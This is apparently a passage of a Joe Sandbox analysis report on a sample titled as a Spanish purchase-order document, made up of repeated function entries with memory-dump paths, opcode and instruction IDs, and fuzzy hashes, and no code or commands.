                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d7ccfda39e0d80d0d43add5186cd2fc73aff5cca9dbe754a75dbb918899e738f
                                                                                                              • Instruction ID: 3418fd7faf84d2795c68a4c3519b5048325a6fb48eb1acc573d4ffd690b1ba8e
                                                                                                              • Opcode Fuzzy Hash: d7ccfda39e0d80d0d43add5186cd2fc73aff5cca9dbe754a75dbb918899e738f
                                                                                                              • Instruction Fuzzy Hash: 0541AE72E14A1A9FDB95AF64CC5A7AABFF1AB44340F504426F422E7295EA34C910CAD0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECDC8 Relevance: .1, Instructions: 123COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: b5c43c2a943ea8220a82168a0df84006d25759c2c08a740a46fc3252f8bb1bb2
                                                                                                              • Instruction ID: 4a9c806f0621d75b2fbab7494ec8b0fbf2886fc21e6d535f9ccb16edeae9b9dc
                                                                                                              • Opcode Fuzzy Hash: b5c43c2a943ea8220a82168a0df84006d25759c2c08a740a46fc3252f8bb1bb2
                                                                                                              • Instruction Fuzzy Hash: C941E572E14A1A9FDB95EF64CC4A6FABFF1BB44340F500466F462A7295E6308911CBD0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302948 Relevance: .1, Instructions: 122COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 813cc6156dcbd78f3a09fdea50ceb8c966682db9e677a59e5bfe82e85cf55817
                                                                                                              • Instruction ID: 544539dbbd67eb3b2ff55d6c0b9d7e479ea39b7a66f63fd6ff373347161e4a1f
                                                                                                              • Opcode Fuzzy Hash: 813cc6156dcbd78f3a09fdea50ceb8c966682db9e677a59e5bfe82e85cf55817
                                                                                                              • Instruction Fuzzy Hash: EB4136F0918609CFE744CF5AD1989BEBBF9BB8E310F519091C44DAB652DB31D920CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302C21 Relevance: .1, Instructions: 121COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9dbbb56cd62b67ca5f6f081977018aa0ad6e28f6312e9ee8cfabb375667ca1bb
                                                                                                              • Instruction ID: 6dab5f577d8c76b67d610e6320b8ae2e75a472dc20ecb3b9c02973e0a0bf244b
                                                                                                              • Opcode Fuzzy Hash: 9dbbb56cd62b67ca5f6f081977018aa0ad6e28f6312e9ee8cfabb375667ca1bb
                                                                                                              • Instruction Fuzzy Hash: 31417CB5D05209EFDB04CFA4D499AEEBBB9FF49310F00902AE409B7291D7755A44CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730CD81 Relevance: .1, Instructions: 120COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 14441c5e31a7837410875450121d6546ffafeeac7eaf5fc0c51293e7b9f4ff84
                                                                                                              • Instruction ID: 7e6b63a6de17dca1a6f395ccc616c5be6240b44ed2e7a20802c79283aa42e823
                                                                                                              • Opcode Fuzzy Hash: 14441c5e31a7837410875450121d6546ffafeeac7eaf5fc0c51293e7b9f4ff84
                                                                                                              • Instruction Fuzzy Hash: BD5107B4915258CFDB60CF68D994AECBBB9FB09301F10A696D509A7291D7309E81CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF6777 Relevance: .1, Instructions: 117COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6ce64ee4f110ef60591089932cf0a01ac9c72e89a3c64d6e3db00f421014e279
                                                                                                              • Instruction ID: 4d68a80bdd31cb244dad27e056abfb210d591d8a868a0d6d8683573ed2443869
                                                                                                              • Opcode Fuzzy Hash: 6ce64ee4f110ef60591089932cf0a01ac9c72e89a3c64d6e3db00f421014e279
                                                                                                              • Instruction Fuzzy Hash: 1C416731A10219DFDF559F64E848AAE7BA6FF88300F148128E906DB2A4DF35DC56CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEBE10 Relevance: .1, Instructions: 108COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0c194963faddaa870c31665b79c75752c495d251ab9ddd8fe41e4c942ed2f18a
                                                                                                              • Instruction ID: 41e00a5c7eb518182e652fee065948480f3aac113644a7c6921fdb38949c40da
                                                                                                              • Opcode Fuzzy Hash: 0c194963faddaa870c31665b79c75752c495d251ab9ddd8fe41e4c942ed2f18a
                                                                                                              • Instruction Fuzzy Hash: 17413475E05218DFDB619FA5C9549ADFFB2FF84300F218159E4017B25ACB3199A1CF80
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302AA0 Relevance: .1, Instructions: 106COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 44f26e5506e6f9663ceea1b961d6f46f6dd67813ecc53319e79840081ff10f39
                                                                                                              • Instruction ID: f30e1b8230c14d0f437dd7b992275f8e407e2e33d5cece1f10a0c1a028c9206f
                                                                                                              • Opcode Fuzzy Hash: 44f26e5506e6f9663ceea1b961d6f46f6dd67813ecc53319e79840081ff10f39
                                                                                                              • Instruction Fuzzy Hash: D4415BB0D05209CFDB40CF95E4596EEBBF8FB4E320F119095D409B3292CB769964CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730D32D Relevance: .1, Instructions: 104COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e465ed1b93cb946554f32ac81c2f41590af58c77946f0c3114cb548c767de4af
                                                                                                              • Instruction ID: 99ea1b34e20d8ae00053c2da038abb6c6e959eea8a78bb0b834d18ff75c75f15
                                                                                                              • Opcode Fuzzy Hash: e465ed1b93cb946554f32ac81c2f41590af58c77946f0c3114cb548c767de4af
                                                                                                              • Instruction Fuzzy Hash: 8F411DF4A28218DBE744CF98D1948EDB7FDBB4E301B259194D40EA7685C735E941CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECC70 Relevance: .1, Instructions: 102COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: ce1f08ddaeea05a260c9b6244002dbe7545f467ff967986b430922a8cf611e97
                                                                                                              • Instruction ID: 736343246bf5fa3e96786e6433643152afa121b3c067ef53eb9dc109cd09a3df
                                                                                                              • Opcode Fuzzy Hash: ce1f08ddaeea05a260c9b6244002dbe7545f467ff967986b430922a8cf611e97
                                                                                                              • Instruction Fuzzy Hash: 2641E731904348CFCB51EF64CC156EE7FB1AF46300F04859AE4657B2A1DB35A949CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306D44 Relevance: .1, Instructions: 101COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2d2051be475ad372d2509d4074a36e2c8be6f409d4eb97ed14d4d02f5500d3b6
                                                                                                              • Instruction ID: 98667c6b157a0f979dd2da00427824d23614633009c3cb8563332a31189a4a45
                                                                                                              • Opcode Fuzzy Hash: 2d2051be475ad372d2509d4074a36e2c8be6f409d4eb97ed14d4d02f5500d3b6
                                                                                                              • Instruction Fuzzy Hash: EC3187B6900309AFDF10DFA9D844ADEBFF9EB48310F10842AE809E7250D735A955CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE19AC Relevance: .1, Instructions: 100COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c5d69e05ae6af971d9953b43597218ecf73c388279c75058c6a2c62b6b0ca0c2
                                                                                                              • Instruction ID: cb47fc89d6e9ada5f0a9a24c63a0880ebf39e7f2a160fd2e7a37f7abda7e852d
                                                                                                              • Opcode Fuzzy Hash: c5d69e05ae6af971d9953b43597218ecf73c388279c75058c6a2c62b6b0ca0c2
                                                                                                              • Instruction Fuzzy Hash: 9341A330B407008FD7A4DF35C449B693BA6AF85715F15C5A9D45ACB3A1DF70E88ACB40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE2931 Relevance: .1, Instructions: 100COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9540421d374d14b53130199bb389a30133a05047148141bd59fbef323f6074b8
                                                                                                              • Instruction ID: 260de067ca60b1072e38cf59a5d514ba4fc04aa43ada50319925d739644f83b3
                                                                                                              • Opcode Fuzzy Hash: 9540421d374d14b53130199bb389a30133a05047148141bd59fbef323f6074b8
                                                                                                              • Instruction Fuzzy Hash: D0316871B002159FCB149F68C894EAEBBBABF89720F114299E5258B2B1DB71DD01CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07302AB0 Relevance: .1, Instructions: 97COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 652791db70579b023404dc60903d7211312c290d9538aeeb1486fa4266ececbd
                                                                                                              • Instruction ID: 1ea53ec14e436e5e13471886282dd04337f359408b019f02251e58e773b89f94
                                                                                                              • Opcode Fuzzy Hash: 652791db70579b023404dc60903d7211312c290d9538aeeb1486fa4266ececbd
                                                                                                              • Instruction Fuzzy Hash: 8E3137B0D05209CFDB40CF99E599AEEBBF8FB4E320F119095D409B3691CB369960CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE3824 Relevance: .1, Instructions: 95COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9a9adedd867b3cb2a62b2e61154655bf32cbbdd9725a05804196ea88c2b11e53
                                                                                                              • Instruction ID: 605c7fde425bf686ee6e7390c882b7eba4332d8c0aa0740ada46a6bd2a6cdef2
                                                                                                              • Opcode Fuzzy Hash: 9a9adedd867b3cb2a62b2e61154655bf32cbbdd9725a05804196ea88c2b11e53
                                                                                                              • Instruction Fuzzy Hash: 30411475E0021ACFDB54DFA8C884BADBBB1FF48314F2481A5D415AB3A1DB35A945CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE2940 Relevance: .1, Instructions: 95COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bf1c0b003a75e4d117aca6f383d59b92d2eef3f77b5f821d093fda3863010bed
                                                                                                              • Instruction ID: 1c0deb94d5b09369d51be48467b004d6a5244422aecc0dd39c16c8e78e6b346f
                                                                                                              • Opcode Fuzzy Hash: bf1c0b003a75e4d117aca6f383d59b92d2eef3f77b5f821d093fda3863010bed
                                                                                                              • Instruction Fuzzy Hash: 21313975B002199FCB54DF68C884E6EBBBABF88720F104299E5258B3B1DB71DD01CB90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEB750 Relevance: .1, Instructions: 92COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c4e216d9a007f25c8e4c822d43777a8b402aa403cda0df4ac4a75ace6e030f55
                                                                                                              • Instruction ID: fd22e0a1be647a04aaf80d330ce1011db92e996e5d38d87c6f2463b950922229
                                                                                                              • Opcode Fuzzy Hash: c4e216d9a007f25c8e4c822d43777a8b402aa403cda0df4ac4a75ace6e030f55
                                                                                                              • Instruction Fuzzy Hash: A1313771E001098FCB54DFA9CA85AEDBBF1EF49200F2441AAE505EB361DB319E41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B8D8 Relevance: .1, Instructions: 88COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c287562fc20260ca88b98dbb92047c88c4a55c06674dde0b2a30f7181b0ec775
                                                                                                              • Instruction ID: c1e656023c2ff8de015421b8c4a31cc89a33f2f3a3a52737f7de7dc3224b760a
                                                                                                              • Opcode Fuzzy Hash: c287562fc20260ca88b98dbb92047c88c4a55c06674dde0b2a30f7181b0ec775
                                                                                                              • Instruction Fuzzy Hash: A5312CF0D053489BEB09DFAAD8146DEFFF6AF8A300F14C02AD409AB295DB740945CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFBA90 Relevance: .1, Instructions: 87COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 806921b28e394f7f2a2136a2956a88f465ab9fb8b9ab145dcda7e10d6660ee75
                                                                                                              • Instruction ID: 392fde34ab939aeef8b42a3924b3c9427c0be777432e6a92a10cdff003824c5b
                                                                                                              • Opcode Fuzzy Hash: 806921b28e394f7f2a2136a2956a88f465ab9fb8b9ab145dcda7e10d6660ee75
                                                                                                              • Instruction Fuzzy Hash: C031E5B4E1420ADFCB84CFA9C4815AEBBF2BF88300F1094AAD915E7365D7349A41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE3AC1 Relevance: .1, Instructions: 86COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1b164286d421f3aadf68a2ff6e339b59f6c9960d93b719c992f8a560c651cf07
                                                                                                              • Instruction ID: 2772f8b31d7525e6c3addc21ec8d33fd495831d430ec97f742f05ee2895858fd
                                                                                                              • Opcode Fuzzy Hash: 1b164286d421f3aadf68a2ff6e339b59f6c9960d93b719c992f8a560c651cf07
                                                                                                              • Instruction Fuzzy Hash: 74312832604745DFC760DF35CC908AA7FB5FF822447504A7EE45297291DB36E856CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE02B0 Relevance: .1, Instructions: 84COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e1ae142de0e610b57545e5c17551a98b6887e6617cb318dffc207a682d4dd1ae
                                                                                                              • Instruction ID: 75feba8794ccf806e21b254e675f6732cecefe7d8998deda9fdaadc336f9c53b
                                                                                                              • Opcode Fuzzy Hash: e1ae142de0e610b57545e5c17551a98b6887e6617cb318dffc207a682d4dd1ae
                                                                                                              • Instruction Fuzzy Hash: 44317E30B40700CFD7A4DF29C849B667BA6BF84725F14C569E45A8B3A1DF70E88ACB40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0BB8 Relevance: .1, Instructions: 84COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: a584d12692f94624a0025859fbcfec8cf983aa0659111eb9dd99b14aab681bc7
                                                                                                              • Instruction ID: 3cc0769f5bcc04a889630050db3ed3a34ebeccb241724a25b2df94eaf3144849
                                                                                                              • Opcode Fuzzy Hash: a584d12692f94624a0025859fbcfec8cf983aa0659111eb9dd99b14aab681bc7
                                                                                                              • Instruction Fuzzy Hash: A2219F34F007048BAFA5673D982423E39EBDFC86527580069D907CB394EE74DC1387A2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 073091A8 Relevance: .1, Instructions: 83COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 7f23e4eb47c1061b42df5e43f539c5390d778f3b52d5cc7d704e741761fe8c8a
                                                                                                              • Instruction ID: 3ada8715b22c5253dc89ade1462563d31620b4b6c623de9e1dbb591f299ecb90
                                                                                                              • Opcode Fuzzy Hash: 7f23e4eb47c1061b42df5e43f539c5390d778f3b52d5cc7d704e741761fe8c8a
                                                                                                              • Instruction Fuzzy Hash: FA310BB0E1020DDFDB44DFA9C5547AEBBBAFF89300F118469C419AB295D730AA41CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFBAA0 Relevance: .1, Instructions: 82COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 78b1513f9293055c3ebb6f345e4c22d4158ac7a07d7cc27236c87fb2f6efedae
                                                                                                              • Instruction ID: c80518f7112b43b64d210b0551d4bb5eb673bd2892096f43917f9cf54b7591e4
                                                                                                              • Opcode Fuzzy Hash: 78b1513f9293055c3ebb6f345e4c22d4158ac7a07d7cc27236c87fb2f6efedae
                                                                                                              • Instruction Fuzzy Hash: AA31B5B4E142099FDB84DFA9C5815AEBBF2BF88300F50946AD919A7364D7349A41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7B24 Relevance: .1, Instructions: 82COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2db4463b3dcb37a81855d5be086241b6076ae2ffd3ba3a39aec01831694eac46
                                                                                                              • Instruction ID: 76f973f779d15451381ff4f04a4b234aae02aaf87643b610fbef5b6d9cd933e3
                                                                                                              • Opcode Fuzzy Hash: 2db4463b3dcb37a81855d5be086241b6076ae2ffd3ba3a39aec01831694eac46
                                                                                                              • Instruction Fuzzy Hash: 8F212532E04206DBDB917F69CA842ADBFB0EF51300F50496AC086BB25CFB31D915CAD1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFD769 Relevance: .1, Instructions: 80COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d8c4dc56d2e4290e068f3c566a21edb3f90d9eefad487f246b85ef43cadfc300
                                                                                                              • Instruction ID: 760d8cf07f0be82bcc0e6d013a72a048c08e57e7359ce148151825f117937cce
                                                                                                              • Opcode Fuzzy Hash: d8c4dc56d2e4290e068f3c566a21edb3f90d9eefad487f246b85ef43cadfc300
                                                                                                              • Instruction Fuzzy Hash: EC314C71D1A24AAFCB44CFA5C5415AEFBF1BF84300F24D4AAC505EB265D7349A41CB51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FFBBC9 Relevance: .1, Instructions: 80COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3b26267f1b89f7b169f38de1801a498c99c1e56878575c767302d8522e51cc10
                                                                                                              • Instruction ID: b0585a2f18b231ed1dc313ee55a0798873fee99d7c78ef2d2fe742634f031d1f
                                                                                                              • Opcode Fuzzy Hash: 3b26267f1b89f7b169f38de1801a498c99c1e56878575c767302d8522e51cc10
                                                                                                              • Instruction Fuzzy Hash: 89310670E152499FCB44CFA9C9819AEBBF1BF89300F2485AAC515EB225E7349A41CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07309197 Relevance: .1, Instructions: 80COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
